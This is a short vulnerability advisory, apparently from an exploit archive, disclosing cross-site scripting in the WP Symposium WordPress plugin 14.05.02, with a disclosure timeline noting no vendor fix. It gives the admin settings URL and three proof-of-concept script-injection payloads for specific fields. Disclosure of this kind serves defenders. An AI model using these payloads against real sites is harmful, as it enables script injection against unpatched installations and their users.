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WordPress Symposium 14.05.02 Cross Site Scripting

WordPress Symposium 14.05.02 Cross Site Scripting
Posted Dec 17, 2015
Authored by Madhu Akula

WordPress Symposium plugin version 14.05.02 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 0510e074116499c289ccada8788b5dc0

WordPress Symposium 14.05.02 Cross Site Scripting

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Plugin Name : WP Symposium

Effected Version : 14.05.02 (and most probably lower version's if any)

Vulnerability : A3-Cross-Site Scripting (XSS)

Identified by : Madhu Akula



Technical Details

Minimum Level of Access Required : Unauthenticated

PoC - (Proof of Concept) :

The following fields put the payload as below

http://localhost/wp-admin/admin.php?page=symposium_settings.php

wps_time_out = “><script>alert(1)</script>

wps_js_file = “><script>alert(2)</script>

img_path = “><script>alert(3)</script>



Video Demonstration:

http://www.youtube.com/watch?v=_T_2-s2AMY0

Impact : Multiple Cross Site Scripting vulnerabilities

Fixed in : No update


Disclosure Timeline

Vendor Contacted : 2014-08-01

Plugin Status : No Change on 2014-08-02

Public Disclosure : October 3, 2015

CVE Number : Not assigned yet

Plugin Description :

WP Symposium turns a WordPress website into a Social Network! It is a WordPress plugin that provides a forum, activity (similar to Facebook wall), member directory, private mail, notification panel, chat windows, profile page, social widgets, activity alerts, RSS activity feeds, Groups, Events, Gallery, Facebook Connect and Mobile support! You simply choose which you want to activate! Certain features are optional to members to protect their privacy.

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